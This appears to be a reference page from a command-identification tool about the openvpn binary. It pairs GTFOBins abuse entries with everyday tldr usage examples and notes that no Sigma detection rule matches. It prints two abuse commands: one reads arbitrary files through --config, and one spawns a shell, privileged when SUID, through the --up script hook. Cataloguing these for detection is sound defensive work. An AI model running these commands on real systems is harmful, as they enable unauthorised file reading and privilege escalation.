Identifier / Programs / Linux and Unix
openvpn
OpenVPN client and daemon binary. tldr-pages
GTFOBins file-read, shell 1 ATT&CK technique 2 documented commands
How openvpn is abused
file-read
--configEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for openvpn.
2 documented commands
file-read unprivileged, with sudo, as SUID
The file is actually parsed and the first partial wrong line is returned in an error message.
openvpn --config /path/to/input-fileIdentifyshell unprivileged, with sudo, as SUID
openvpn --dev null --script-security 2 --up '/bin/sh -s'IdentifyAs SUID:
openvpn --dev null --script-security 2 --up '/bin/sh -p -s'
None of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for openvpn. The identifier reads the line of each that runs openvpn.
What detects it
Everyday use
Connect to server using a configuration file
sudo openvpn path/to/client.confIdentifyTry to set up an insecure peer-to-peer tunnel on bob.example.com host
sudo openvpn --remote alice.example.com --dev tun1 --ifconfig 10.4.0.1 10.4.0.2IdentifyConnect to the awaiting bob.example.com host without encryption
sudo openvpn --remote bob.example.com --dev tun1 --ifconfig 10.4.0.2 10.4.0.1IdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.